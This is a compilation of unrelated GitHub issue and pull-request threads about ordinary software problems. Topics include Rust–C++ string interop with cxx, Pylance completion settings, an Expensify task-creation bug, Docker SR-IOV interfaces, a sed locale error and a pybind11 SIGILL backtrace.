===> Testing [FAIL]: BioPerl6:ver<0.0.1>

perl6 version:
% perl6 -v                                                                                (master|✔)
This is Rakudo version 2017.09-353-g1ea3297b2 built on MoarVM version 2017.09.1-575-gd4e230a6
implementing Perl 6.c.

@cschwenz yes, I started seeing this with newer Rakudo versions; I'm guessing it's something subtle with that role which needs to be addressed.

@cschwenz I pushed a fix for this for now, though the original syntax should still work.


Returning CxxString from Rust to C++

Is it possible to construct CxxString on the Rust side and return it to the C++ side?
Returning Pin<&mut CxxString> doesn't work, because it's just a reference to local variable, which is destroyed at the end of the function:
fn hello<'a>() -> std::pin::Pin<&'a mut CxxString> {
    let_cxx_string!(name = "Hello from Rust string!");
    name // ERROR: returns a value referencing data owned by the current function
}

Returning UniquePtr<CxxString> doesn't work, because I'm not able to construct it:
fn hello2<'a>() -> cxx::UniquePtr<CxxString> {
    let_cxx_string!(name = "Hello from Rust string!");
    cxx::UniquePtr::new(*name) // ERROR: type mismatch resolving `<CxxString as ExternType>::Kind == Trivial`
                               //        expected `Trivial`, found `Opaque`
}

How can I do it? I want my generated bindings to use standard C++ structs such as std::string without needing the C++ users to deal with rust::String which they might not know and might not work with other C++ libraries.

In case you're still trying to do this, I wanted to do something similar, but I don't think it's possible. What I ended up doing instead is used an out parameter.
#[cxx::bridge(namespace = "rs")]
mod ffi {
    extern "Rust" {
        fn ask(response: Pin<&mut CxxString>);
    }
}

pub fn ask(response: Pin<&mut CxxString>) {
    response.push_str("Hi!!!");
}

It would be nice to return stack-allocated C++ types, though.

Thanks @zambony! That's a fine option when returning a single string, but it doesn't work well for strings inside classes/structs.

I've also just encountered this issue. Are there any updates to do this properly instead of using out parameters?

I managed to get around this by creating function on the C++ side for constructing new empty string and writing to it on the Rust side.
Rust:
fn str_test() -> UniquePtr<CxxString> {
    let mut s = ffi::get_empty_string();
    s.pin_mut().push_str("Hello from str_test");
    s
}

C++:
#include <string>
#include <memory>

std::unique_ptr<std::string> get_empty_string() {
    return std::make_unique<std::string>(std::string(""));
}

Thank you for the detailed example. So far I was exposing Rust to C++ but had nothing in the other direction yet.
I'll consider if using output parameters with C++ string, returning Rust string or involving a C++ utility function is better in my case.


Should I install orval locally to be able to import defaultConfig?

What are the steps to reproduce this issue?
Just use orval.config.ts
What happens?
If you've installed orval globally, you can't import defaultConfig
What were you expecting to happen?
That the docs would mention that orval should be installed locally as a dev dependency

Are you talking about the defineConfig function? If yes, this function is just to have the typescript type easily but orval work without it

Yes, I noticed that, I would just suggest that you may wanna add a local installation section to the docs for those who wanna use the defineConfig function.


Add OAuth Configuration

Pull Request Test Coverage Report for Build 221885088

0 of 0   changed or added relevant lines in 0 files are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage remained the same at 75.478%

Files with Coverage Reduction
New Missed Lines
%

lib/viewmodels/authentication/auth_options_viewmodel.dart
1
0%

Totals

Change from base Build 221474314:
0.0%

Covered Lines:
908

Relevant Lines:
1203

💛  - Coveralls

@tachyons please check!


Fix typos in the documentation

Some test patterns failed, but we can ignore test results because all modifications in this pull request are for the documentation.

Wow. Thank you @takezoe !
I took a look at the increased number of build failures. I am going to put in a potential fix once my fork passed building.


Tensorflow doesn't work on my data

Issue type
Bug
Have you reproduced the bug with TensorFlow Nightly?
Yes
Source
binary
TensorFlow version
22
Custom code
Yes
OS platform and distribution
No response
Mobile device
No response
Python version
No response
Bazel version
No response
GCC/compiler version
No response
CUDA/cuDNN version
No response
GPU model and memory
No response
Current behavior?
Tensorflow doesn't work on my data
Standalone code to reproduce the issue
Tensorflow doesn't work on my data

Relevant log output
No response

open as a joke with my friend pls ignore


IndexError when running CASTLES

Hello!
I am trying to use CASTLES to estimate branch lengths of a species tree topology I generated with ASTRAL. I was able to annotate the species tree topology with a local installation of ASTER. However, when I run castles.py, I get this error:
Number of species: 55
Number of genes: 5969
Calculating lengths in post-order traversal of internal nodes:
Traceback (most recent call last):
File "/home/avehi/Biotools/CASTLES-1.3.0/castles.py", line 306, in
castles(st, gts, tns)
File "/home/avehi/Biotools/CASTLES-1.3.0/castles.py", line 210, in castles
label_dict = process_node_annotation(node.label)
File "/home/avehi/Biotools/CASTLES-1.3.0/castles.py", line 21, in process_node_annotation
label_dict['support'] = float(annotations[1])
IndexError: list index out of range
The input files are rather large but I could email them to you, if you'd like.
Thanks very much in advance!!

Hi,
Thanks for using CASTLES. Could you please email me the input files (including the ASTER annotated tree) at<EMAIL_ADDRESS>Best,
Yasamin


[WIP] PR: Editor migration

Description of Changes

Move Editor to use newest plugins API
Issue(s) Resolved

Fixes #
Affirmation
By submitting this Pull Request or typing my (user)name below,
I affirm the Developer Certificate of Origin
with respect to all commits and content included in this PR,
and understand I am releasing the same under Spyder's MIT (Expat) license.

I certify the above statement is true and correct: dalthviz

Hello @dalthviz! Thanks for opening this PR.


Add -kube suffix to pillar when building for kubevirt-EVE

When pillar is built for kubevirt-EVE (HV=kubevirt), it carries additional kubernetes-specific code and dependencies. It is important to distinguish it from pillar built for kvm/xen-EVE. Otherwise, previously built kvm/xen pillar can be accidentally taken from the linuxkit cache and used for a kubevirt-EVE image, missing all those kubernetes dependencies.

Today we only have conditional compilation for kubevirt in pillar, but this might grow over time. Is there some (BUILD.md) where it makes sense documenting this at a high level? (And I don't know if we have ARM conditional compiles for other pkgs - if so maybe @rene should make sure that is document as well.)

Added some documentation to BUILD.md


Full card description not read out in NVDA

Summary of the bug
When using a screen reader with IcCard component, the full card description is not read out
🪜 How to reproduce

Go to page the component gallery page.
Use the NVDA screen reader
Navigate to one of the gallery cards using either the virtual cursor or the tab key.
See that only the link is announced and not the card description.

🧐 Expected behaviour
The full card description should be read out in NVDA, as it is in VoiceOver
📝 Acceptance Criteria
Given that a card in the component gallery is navigated to with NVDA SR,
When it is navigated to using either virtual cursor or tab focus,
Then its contents should be announced in full, including the description.
Additional info
This ticket replaces problem 2 mentioned in https://github.com/mi6/ic-design-system/issues/718
There is also an issue on cards that there is no pause between heading and message. This has been fixed on the guidance site https://github.com/mi6/ic-design-system/issues/607 but we should see if there's a less hacky way around it in the ui kit.

This issue is replicable with any card that has clickable=true
So I can test Clickable Card stories

Unable to replicate this issue today, using an AWS VM with NVDA. Will contact a teammate who has NVDA on their machine to see if they can replicate it:


[SP-5636] Fixed issue with creating report using streaming HTML outpu…

…t and updated Copyright data
This commit is a cherry-pick from master 330004bf

:white_check_mark: Build finished in 27m 41s
Build command:
mvn clean verify -B -e -Daudit -amd -pl engine

:ok_hand: All tests passed!
Tests run: 3568, Failures: 0, Skipped: 7    Test Results

:information_source:  This is an automatic message

:white_check_mark: Build finished in 37m 36s
Build command:
mvn clean verify -B -e -Daudit -amd -pl engine

:ok_hand: All tests passed!
Tests run: 3568, Failures: 0, Skipped: 7    Test Results

:information_source:  This is an automatic message


Add links to GitHub page

Added links to the GitHub page for the project for the convenience of
the user.

@elifoster Well, I thought this was clear. ^^

Yes, I'll be happy to do both! With the link name, I honestly wasn't sure how it should be displayed, so I just took an educated guess at what would look good. So I'm happy for the suggestion on that! As for the mail link, I actually considered doing this to begin with, but I had heard before from others, not associated with this project, that it wasn't always a good idea to have a hyper-link to a mail address, for spam reasons. I don't know if this is a legitimate concern or not, but I'll be more than happy to add the link to the mailing address as well.

Ok, link names have been updated and hyperlinks have been added to the email addresses! Let me know if there's anything else you think should be changed! 🙂

So I went back and was looking at the links I added and I had a question. The links are the standard default blue color that's underlined, since the anchor tags only inherit the styling from the page.  My question would be, is the default color and underline good, or should it be different? If y'all think it should be different, what color and style should they be? I'm honestly ok with the blue color, but i figured I'd ask just in case! Any suggestions are welcome!

I decided to add two HTML comments, one to the quiz and the other to the results to show which specific script tag was used for the JavaScript that the test actually uses. It makes it a lot more clear as it was rather confusing with just the one comment about web analytics.

Changed the name of the Pull Request because it has now branched out beyond just adding HTML links to the pages.

As was suggested in an issue request, #46, I have added a line dynamically showing the number of questions currently in the survey.

This pull request is complete on my end! It's just ready to be merged if and/or when y'all think it is ready! 🙂

Is development on this project still occurring? Just wondering due to the length of time this pull request, and the other pull request as well, have been open with no response.

Unfortunately, I have neither the time nor interest to continue this project myself. However, there does seem to be a number of people still interested in this project. I have merged the PR, but if anyone is interested in being an official developer, please contact me or reply to this thread. Thanks!


[$1000] Web -  "Hmm... it's not here" page is displayed when creating task

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:
1, Click on 'FAB' icon
2. Click on 'Assign task'
3. Enter title & click on 'Next' button
4. Click on 'Assignee'
5. Search for a user you don't have existing chat history with & select the user
6. Close RHN without clicking on 'Confirm task' button
7. Repeat step 1 - 4
8. Select the user you have selected on step 5
9. Click on 'Confirm task' button
Expected Result:
Task should be created successfully
Actual Result:
"Hmm... it's not here" page is displayed
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[ ] Android / native
[ ] Android / Chrome
[ ] iOS / native
[ ] iOS / Safari
[x] MacOS / Chrome / Safari
[ ] MacOS / Desktop

Version Number: 1.3.34-1
Reproducible in staging?: y
Reproducible in production?: y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://github.com/Expensify/App/assets/93399543/2d89dcb9-3485-45d9-87e4-dfafcb900d44
https://github.com/Expensify/App/assets/93399543/60207f20-e0f8-446f-884c-006f49f38b75
Expensify/Expensify Issue URL:
Issue reported by: @Natnael-guchima
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1687964002479529
View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~012b7700439dabc7bc
Upwork Job ID:<PHONE_NUMBER>992471040
Last Price Increase: 2023-06-29

A weird one but one we should fix

how can I join slack? I've already sent an email requesting access

Contributor details
Your Expensify account email<EMAIL_ADDRESS>Upwork Profile Link: https://www.upwork.com/freelancers/~01728ee2a0cd0cd747

The problem is that Expensify assigns the task when the user selects an assignee, even if the user doesn't click the 'confirm task' button. The task should not be assigned when the user selects an assignee.

Contributor details
Your Expensify account email<EMAIL_ADDRESS>Upwork Profile Link: https://www.upwork.com/freelancers/~012e242cba86659023

Reproduced.

Contributor details
Your Expensify account email<EMAIL_ADDRESS>Upwork Profile Link:  https://www.upwork.com/freelancers/~014640fcd762b61d2f

Proposal
Please re-state the problem that we are trying to solve in this issue.
Report not found when creating a task second time with the same new assignee
What is the root cause of that problem?
The root cause of the problem is that a new report is created on choosing an assignee and before user presses "create task" button.
here
https://github.com/Expensify/App/blob/5009b8d5d8edd5e9bb6f4f6def88c5acaea8bc3c/src/pages/tasks/TaskAssigneeSelectorModal.js#L187
selectReport calls TaskUtils.setAssigneeValue and it calls ReportUtils.buildOptimisticChatReport if assignee hasn't open chat with task assigner.
This leads us to a problem when we cancel task creation after choosing an assignee - the report is created dummy accountID and would be created again on the second and further attempts
What changes do you think we should make in order to solve the problem?

We could do this chat(report) creation logic right before the task creation here
https://github.com/Expensify/App/blob/5009b8d5d8edd5e9bb6f4f6def88c5acaea8bc3c/src/pages/tasks/NewTaskPage.js#L107

From @dukenv0307 's proposal here https://github.com/Expensify/App/issues/21896#issuecomment-1614051733
The root cause is correct we are requesting to create a task that has invalid reportID which results in failure.
On solution:

(Related to 1) We need to update the dummy account ID key in personalDetailsList to null in successData when openReport

Yes. We should remove the optimistic personal data from onyx after getting proper data from openReport.

(Related to 2) When back-end returns personalDetailsList in OpenReport, it should return the login as well so we can remove the condition in 3

I don't think we can do this, since the login is intentionally removed from unknown users data currently.
Tagging @jasperhuangg for the below questions since he was the original creator of the PR - https://github.com/Expensify/App/pull/21159
We are not allowing personalDetails without login(i.e unknown users) to come up during task assignee process. Then it also means it shouldn't come up during searching on the list as well right?
This means a task can never be created with a user whose email login information is unknown?
It is not just the above OP case, creation of tasks with users without login information is broken currently AFAIK. Like just create a new chat with unknown user. Relogin so that the onyx data won't have stale email login data for that user, create a task for that user and it will also fail the same way.

pending @jasperhuangg on the above

Hmm this is actually a known issue and will be addressed internally. https://github.com/Expensify/Expensify/issues/294203. We have a few parts of Tasks that need to be cleaned up. I think we're good to close this out.


Word and snippet completions being shown when Pylance does not have any completions

Environment data

Language Server version: 2020.11.1
OS and version: Linux Mint 19.3
Python version (& distribution if applicable, e.g. Anaconda): 3.6.9

Expected behaviour
When typing in import statements with aliases (e.g., import pandas as pd or import numpy as np), the autocomplete suggestion should provide the currently entered alias (pd or np) as the top choice. Then, simply pressing Enter would allow the user to continue typing in the next line.
Actual behaviour
The currently typed alias (pd or np) is not shown at all, so pressing Enter at the end of the import statement selects the library name (pandas or numpy), which is really annoying. The only way to retain this is to press space and then enter, which results in redundant spaces at the end of each import statement.
Code Snippet / Additional information
import pandas as pd
import numpy as np

So, this is due to the fact that we're no longer offering completions in contexts we can't actually know the name for (#163). But it seems that since we now return empty, VS Code's word suggestion is taking over and suggesting things.
If you set this, I believe it should work around the issue:
"[python]": {
    "editor.wordBasedSuggestions": false
}

The real fix may be to always give back something in the completion list, e.g. here offer up the thing the user already typed. I think TS does this.

@heejaechang FYI

Thanks, the workaround makes sense! I can imagine offering the user-typed input as the first choice may have some edge cases that are not desirable. I wonder if it's possible to treat the case as in the example I gave, i.e., aliasing, differently from other situations where the user may not want the completion's first choice as what they just typed.

We already know the context you're typing in (to know to explicitly return nothing), so adding this special case is likely to be okay. Just needs some investigation and testing.

@prrao87 thank you for reporting.
so, I tried to see old experiences, typescript experiences and etc.
this is old

as you can see, we used to add what the user has written so far into the list. I don't believe it was by design, but it happens to add those since it basically showed any symbols defined in the current scope which includes what the user has written so far.
due to that, it won't work if there is a syntax error such as

I tried typescript to see how they behave

it looks like typescript also behaves the same as us.
that being said, we can improve behavior around this if we want to (@savannahostrowski @judej)
options I can think on top of my head will be

tell users to use wordBasedSuggestions or we explicitly turn it off under python.
tell users to turn off acceptSuggestionOnEnter
ask to enable (SuggestionItemOptions)[https://docs.microsoft.com/en-us/dotnet/api/microsoft.visualstudio.language.intellisense.asynccompletion.data.suggestionitemoptions?view=visualstudiosdk-2019] support in vscode (VS LSP client supports it). see (here)[http://index/?leftProject=Microsoft.VisualStudio.Language&leftSymbol=h2fz5qctgkqx&rightProject=Microsoft.VisualStudio.LanguageServer.Client.Implementation&file=Impl\Features\Completion\CompletionResults.cs&line=28] and we support it in the server
we just manually add what the user has written so far explicitly (similar experience as we used to have)
and more? (welcome any suggestion)

doing (1), we explicitly turn wordBasedSuggestions off under python is cheapest. then (4). (2) and (3) either don't require changes on our side or require changes in other components than us.

Option 1 (turning off wordBasedSuggestions) is doing the trick quite well for me right now - but it's not at all obvious to new users to know that this is the option they need to turn off to get the right behaviour. In the end, it would be nice to have an easy, intuitive system for beginners within Pylance that doesn't require users to disable VS Code editor settings!

@prrao87 I agree. so (1), what I meant was we change default for wordBasedSuggestions for python to off. so there is nothing user need to do. it will be automatically off for python file. but users who really want wordBasedSuggestion can explicitly turn it on. and only those people need to know the option. not the other way around.

Also relevant is #629, as VSC will also try and offer up snippets. Since we don't send anything, they're highly ranked. (4) would fix that too.

my opinion is just doing simplest thing first (1) and see whether we get any feedback from users.

Pylance 2020.12.0 now includes (1). I don't want to close this quite yet to see how this works out, or if we need to try another method.

Updating the title of this to better reflect; we did the word completion thing, but snippets remain a problem. We may need to attempt the method where we add a fake completion for the prefix.

@jakebailey  I'm really conflicted about snippets - on the one hand it's annoying to keep on because it does things like suggest pdb.set_trace() when I just want to import pandas as pd

On the other hand, I really like the convenience of the __main__ boilerplate using snippets, so I don't want to disable it.

Do you know whether there's a workaround to get the second behaviour but not the first? I'm unclear how exactly this ties into the original issue with Pylance completions. I know you're doing your best to track all these issues in various places, so thanks a lot for your efforts!

It's a VS Code quirk. We answer the completion request with "there are no completions", but then it also offers up word and snippets. This means that those are the only choices, and then they get picked and do the wrong thing.
There isn't a way to do that as far as I remember, maybe there's a way to disable specific snippets but I haven't tried.

The most recent version of the core extension dropped snippets altogether. With our word completion default set to false, I'm not entirely certain this is a problem anymore, but the idea to always offer "what was typed" as a completion may be a useful idea if we want to ensure we don't break if word completion is enabled.

I agree, the "what was typed" is definitely something I see as being useful in the long term.

Thanks for the report. This has been fixed. Please reopen if this is still an issue.


sed: RE error: illegal byte sequence

On OSX, seeing "sed: RE error: illegal byte sequence" when processing a dump. All of the tables in the dump have charset set to utf-8, and the cli has lang set to utf-8.

mysqldumpsplitter is actually using SED to do the job! Google led me to an elaborate solution here. Is that what you think matches?

This worked for me:
LC_ALL=C ./mysqldumpsplitter.sh [options here...]


Feature Request: Save Bookmarksfolder to different locations

To sync bookmarks over any cloud like dropbox or nextcloud it wold be nice to be able to adress a bookmark folder to a different location so a shareing with work coleagues and private bookmarks can be established easily...

Hello (and sorry for the late response)!

Hello (and sorry for the late response)!
This would be a nice feature to have indeed! Unfortunately, I am not able to take care of this, as Firefox simply does not offer (for the moment at least) any APIs allowing to do what you described. It is not possible to save bookmarks elsewhere than the internal system of Firefox, and for security reasons, add-ons cannot access the file system.
Sorry again for the delay, and I hope you are finding this add-on useful! 😃


Runtime Parameter Checks

Part of #370 track.
The DSL methods (CONSUME/OPTION/MANY/...)
and constructor functions (createToken) should have the ability to inspect the argument types
to avoid errors.
The checks on the DSL methods should only be activated in non development flows
as they would likely cause a significant performance regression.

[ ] Checks

[ ] createToken
[ ] Lexer Constructor
[ ] Parser constructor
[ ] RULE
[ ] CONSUME
[ ] MANY / AT_LEAST_ONE
[ ] *_SEP
[ ] OPTION

[ ] Infrastructure

[ ] How to enable dev mode (env variable?)
[ ] NO-OP pattern for the DSL methods checks (avoid performance issues),

Played around with this in: https://github.com/SAP/chevrotain/tree/runtime_check/src/runtime_checks
This can accomplished but I'm not sure it is worth it because it does not add any new functionality.

Basically if anyone wants type checks they can just use TypeScript as Chevrotain provided A TypeScript API.
Also it is not common for issues to be opened that are tracked down to wrong argument types.

Maybe we should just limit the runtime checks for the more likely cases (such as API breaking changes)...


test speed improvements on agg functions by modifying scan_parquet() arguments and using collect_async()

In thinking through opportunities to improve the speed of the aggregation functions (e.g. rank) on large parquet files, two real opportunities emerged:

changing the arguments of scan_parquet()
using collect_async() rather than collect(), which uses asyncio to process tasks/threads concurrently

In a few tests using 1.1MB and 1.2GB sized parquet files, there were a few key takeaways (see all data collected from tests in the summary table):

In general, collect_async() saw larger performance gains when tested on a larger file size (notably when using parallel=“auto”)
It seems like collect_async works best when one or both of use_statistics or hive_partitioning are turned on

The current implementation uses (collect(), parallel=’auto’, use_statistics=True, hive_partitioning=True). This would be most similar to the first row of the summary table with speed 762 (using this as the benchmark to create recommendations).
Here are recommendations of 3 tests to try based on the 1.2GB run:

collect(), parallel=’row_groups’, use_statistics=False, hive_partitioning=False (~15% improvement from benchmark)
collect_async(), parallel=’row_groups’, use_statistics=True, hive_partitioning=True (~15% improvement from benchmark)
collect(), parallel=’columns’, use_statistics=False, hive_partitioning=True (~13% improvement from benchmark)

@nmarchio Here's an example of how collect_async works (because it needs to be wrapped in a function & run by asyncio instead of piped into the process). The below code chunk uses the params for the second recommended test above:
INPUT_FILENAME = <filepath to parquet file>
PARAMS_test2 = {'parallel': "row_groups", 'use_statistics': True,'hive_partitioning': True}

async def test_collect_async(input_dir, **kwargs):
    return await (
        (pl.scan_parquet(Path(input_dir), low_memory=True, **kwargs)
        .with_columns([
            # REPLACE COL NAMES HERE FOR THE RELEVANT OPERATION
            (pl.col("AssdTotalValue").rank(method="random", descending = True, seed = 1).over(['SaleRecordingYear', "county_code"]).alias("highestvalbycountybyyear")),
        ])
        ).collect_async(streaming=True, simplify_expression=True)
    )

#Returns a DataFrame (not a LazyDataframe)
df = asyncio.run(test_collect_async(INPUT_FILENAME, **PARAMS_test2))


Feature Request: Physical interfaces on docker containers

I am using docker to bring up an application in a container. The application requires that the system have physical interfaces attached to it. Docker interfaces are virtual by default.
As a workaround, I followed the steps in this post to add SR-IOV virtual functions of the host as interfaces on my containers using pipework --direct-phys flag. The problem with this is that I can only get a maximum of 64 virtual functions for a single physical interface(Intel 82599) in the hypervisor.
I understand containers are not meant to work like VMs, but is there a way to get physical interfaces in the containers before starting the container using docker network without mapping the interfaces in the host namespace?
Output of docker version:
Client:
 Version:      1.12.0
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   8eab29e
 Built:
 OS/Arch:      linux/amd64

Server:
 Version:      1.12.0
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   8eab29e
 Built:
 OS/Arch:      linux/amd64

Output of docker info:
Containers: 28
 Running: 28
 Paused: 0
 Stopped: 0
Images: 29
Server Version: 1.12.0
Storage Driver: devicemapper
 Pool Name: docker-253:0-711621-pool
 Pool Blocksize: 65.54 kB
 Base Device Size: 10.74 GB
 Backing Filesystem: xfs
 Data file: /dev/loop0
 Metadata file: /dev/loop1
 Data Space Used: 5.246 GB
 Data Space Total: 107.4 GB
 Data Space Available: 102.1 GB
 Metadata Space Used: 11.12 MB
 Metadata Space Total: 2.147 GB
 Metadata Space Available: 2.136 GB
 Thin Pool Minimum Free Space: 10.74 GB
 Udev Sync Supported: true
 Deferred Removal Enabled: false
 Deferred Deletion Enabled: false
 Deferred Deleted Device Count: 0
 Data loop file: /var/lib/docker/devicemapper/devicemapper/data
 WARNING: Usage of loopback devices is strongly discouraged for production use. Use `--storage-opt dm.thinpooldev` to specify a custom block storage device.
 Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata
 Library Version: 1.02.107-RHEL7 (2015-10-14)
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: host overlay bridge null
Swarm: inactive
Runtimes: runc
Default Runtime: runc
Security Options: seccomp
Kernel Version: 3.10.0-229.20.1.el7.x86_64
Operating System: CentOS Linux 7 (Core)
OSType: linux
Architecture: x86_64
CPUs: 8
Total Memory: 62.74 GiB
Name: sim10.mvdce2esdvpn04.mv.nuagenetworks.net
ID: FKWY:YVCD:TTFN:A2YJ:EHF6:LP2L:GZBR:NIOU:PPRA:GLFO:W654:CM45
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Registry: https://index.docker.io/v1/
WARNING: bridge-nf-call-iptables is disabled
WARNING: bridge-nf-call-ip6tables is disabled
Insecure Registries:
 <IP_ADDRESS>/8

Additional environment details:
I am running containers on a Centos 7.1.1503 bare metal machine.
Steps to reproduce the issue:

docker run -it centos:7 /bin/bash
ls -lrt /sys/class/net/

Describe the results you received:
# ls -lrt /sys/class/net/
total 0
lrwxrwxrwx 1 root root 0 Aug 11 23:24 lo -> ../../devices/virtual/net/lo
lrwxrwxrwx 1 root root 0 Aug 11 23:24 eth0 -> ../../devices/virtual/net/eth0
Describe the results you expected:
# ls -lrt /sys/class/net/
total 0
lrwxrwxrwx 1 root root 0 Aug  11 17:53 enp8s0 -> ../../devices/pci0000:00/0000:00:0a.0/0000:08:00.0/net/enp8s0
A workaround where the bottleneck is not on the number of physical interfaces also works.

The Intel 82599 does gave that limit of SR-IOV devices, 63 per physical
port. Dual port devices have twice as many. I believe the 100Gb devices may
have more. These devices were designed for VM uses cases, hence the limits.
If you need physical devices this us the best option still I believe.
On 12 Aug 2016 12:27 a.m., "Satyajit Bappanadu Manjunath" <
<EMAIL_ADDRESS>wrote:

I am using docker to bring up an application in a container. The
application requires that the system have physical interfaces attached to
it. Docker interfaces are virtual by default.
As a workaround, I followed the steps in this post
http://jason.digitalinertia.net/exposing-docker-containers-with-sr-iov/
to add SR-IOV virtual functions of the host as interfaces on my containers
using pipework --direct-phys flag. The problem with this is that I can
only get a maximum of 64 virtual functions for a single physical
interface(Intel 82599) in the hypervisor.
I understand containers are not meant to work like VMs, but is there a way
to get physical interfaces in the containers before starting the container
using docker network without mapping the interfaces in the host
namespace?
Output of docker version:
Client:
Version:      1.12.0
API version:  1.24
Go version:   go1.6.3
Git commit:   8eab29e
Built:
OS/Arch:      linux/amd64
Server:
Version:      1.12.0
API version:  1.24
Go version:   go1.6.3
Git commit:   8eab29e
Built:
OS/Arch:      linux/amd64
Output of docker info:
Containers: 28
Running: 28
Paused: 0
Stopped: 0
Images: 29
Server Version: 1.12.0
Storage Driver: devicemapper
Pool Name: docker-253:0-711621-pool
Pool Blocksize: 65.54 kB
Base Device Size: 10.74 GB
Backing Filesystem: xfs
Data file: /dev/loop0
Metadata file: /dev/loop1
Data Space Used: 5.246 GB
Data Space Total: 107.4 GB
Data Space Available: 102.1 GB
Metadata Space Used: 11.12 MB
Metadata Space Total: 2.147 GB
Metadata Space Available: 2.136 GB
Thin Pool Minimum Free Space: 10.74 GB
Udev Sync Supported: true
Deferred Removal Enabled: false
Deferred Deletion Enabled: false
Deferred Deleted Device Count: 0
Data loop file: /var/lib/docker/devicemapper/devicemapper/data
WARNING: Usage of loopback devices is strongly discouraged for production use. Use --storage-opt dm.thinpooldev to specify a custom block storage device.
Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata
Library Version: 1.02.107-RHEL7 (2015-10-14)
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
Volume: local
Network: host overlay bridge null
Swarm: inactive
Runtimes: runc
Default Runtime: runc
Security Options: seccomp
Kernel Version: 3.10.0-229.20.1.el7.x86_64
Operating System: CentOS Linux 7 (Core)
OSType: linux
Architecture: x86_64
CPUs: 8
Total Memory: 62.74 GiB
Name: sim10.mvdce2esdvpn04.mv.nuagenetworks.net
ID: FKWY:YVCD:TTFN:A2YJ:EHF6:LP2L:GZBR:NIOU:PPRA:GLFO:W654:CM45
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Registry: https://index.docker.io/v1/
WARNING: bridge-nf-call-iptables is disabled
WARNING: bridge-nf-call-ip6tables is disabled
Insecure Registries:
<IP_ADDRESS>/8
Additional environment details:
I am running containers on a Centos 7.1.1503 bare metal machine.
Steps to reproduce the issue:

docker run -it centos:7 /bin/bash
ls -lrt /sys/class/net/

Describe the results you received:
ls -lrt /sys/class/net/
total 0
lrwxrwxrwx 1 root root 0 Aug 11 23:24 lo -> ../../devices/virtual/net/lo
lrwxrwxrwx 1 root root 0 Aug 11 23:24 eth0 ->
../../devices/virtual/net/eth0
Describe the results you expected:
ls -lrt /sys/class/net/
total 0
lrwxrwxrwx 1 root root 0 Aug 11 17:53 enp8s0 ->
../../devices/pci0000:00/0000:00:0a.0/0000:08:00.0/net/enp8s0
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/docker/docker/issues/25641, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAdcPKgFlsXJjUuSDHwzlTrshqP_CgNeks5qe6_dgaJpZM4Jipr1
.


SIGILL on import

On amd64 this builds OK but on importing I get an illegal instruction error. Here it is under gdb:
>>> from webrtc_noise_gain import AudioProcessor

Program received signal SIGILL, Illegal instruction.
0x00007ffff7619093 in pybind11::detail::get_internals() () from /home/john/webrtc-noise-gain/venv/lib/python3.9/site-packages/webrtc_noise_gain_cpp.cpython-39-x86_64-linux-gnu.so
(gdb) bt
#0  0x00007ffff7619093 in pybind11::detail::get_internals() () from /home/john/webrtc-noise-gain/venv/lib/python3.9/site-packages/webrtc_noise_gain_cpp.cpython-39-x86_64-linux-gnu.so
#1  0x00007ffff761294c in PyInit_webrtc_noise_gain_cpp () from /home/john/webrtc-noise-gain/venv/lib/python3.9/site-packages/webrtc_noise_gain_cpp.cpython-39-x86_64-linux-gnu.so
#2  0x000000000061a317 in ?? ()
#3  0x00000000005298c4 in ?? ()
#4  0x0000000000517b9b in _PyEval_EvalFrameDefault ()
#5  0x00000000005106ed in ?? ()
#6  0x0000000000528d21 in _PyFunction_Vectorcall ()
#7  0x0000000000516e76 in _PyEval_EvalFrameDefault ()
#8  0x0000000000528b63 in _PyFunction_Vectorcall ()
#9  0x0000000000512192 in _PyEval_EvalFrameDefault ()
#10 0x0000000000528b63 in _PyFunction_Vectorcall ()
#11 0x0000000000511fb5 in _PyEval_EvalFrameDefault ()
#12 0x0000000000528b63 in _PyFunction_Vectorcall ()
#13 0x0000000000511fb5 in _PyEval_EvalFrameDefault ()
#14 0x0000000000528b63 in _PyFunction_Vectorcall ()
#15 0x0000000000511fb5 in _PyEval_EvalFrameDefault ()
#16 0x0000000000528b63 in _PyFunction_Vectorcall ()
#17 0x000000000052842e in ?? ()
#18 0x000000000053f559 in _PyObject_CallMethodIdObjArgs ()
#19 0x000000000053e786 in PyImport_ImportModuleLevelObject ()
#20 0x00000000005144bd in _PyEval_EvalFrameDefault ()
#21 0x00000000005106ed in ?? ()
#22 0x0000000000510497 in _PyEval_EvalCodeWithName ()
#23 0x00000000005f5be3 in PyEval_EvalCode ()
#24 0x00000000005fa670 in ?? ()
#25 0x00000000005298c4 in ?? ()
#26 0x0000000000517b9b in _PyEval_EvalFrameDefault ()
#27 0x00000000005106ed in ?? ()
#28 0x0000000000528d21 in _PyFunction_Vectorcall ()
#29 0x0000000000516e76 in _PyEval_EvalFrameDefault ()
#30 0x0000000000528b63 in _PyFunction_Vectorcall ()
#31 0x0000000000512192 in _PyEval_EvalFrameDefault ()
#32 0x0000000000528b63 in _PyFunction_Vectorcall ()
#33 0x0000000000511fb5 in _PyEval_EvalFrameDefault ()
#34 0x0000000000528b63 in _PyFunction_Vectorcall ()
#35 0x0000000000511fb5 in _PyEval_EvalFrameDefault ()
#36 0x0000000000528b63 in _PyFunction_Vectorcall ()
#37 0x000000000052842e in ?? ()
#38 0x000000000053f559 in _PyObject_CallMethodIdObjArgs ()
#39 0x000000000053e786 in PyImport_ImportModuleLevelObject ()
#40 0x00000000005144bd in _PyEval_EvalFrameDefault ()
#41 0x00000000005106ed in ?? ()
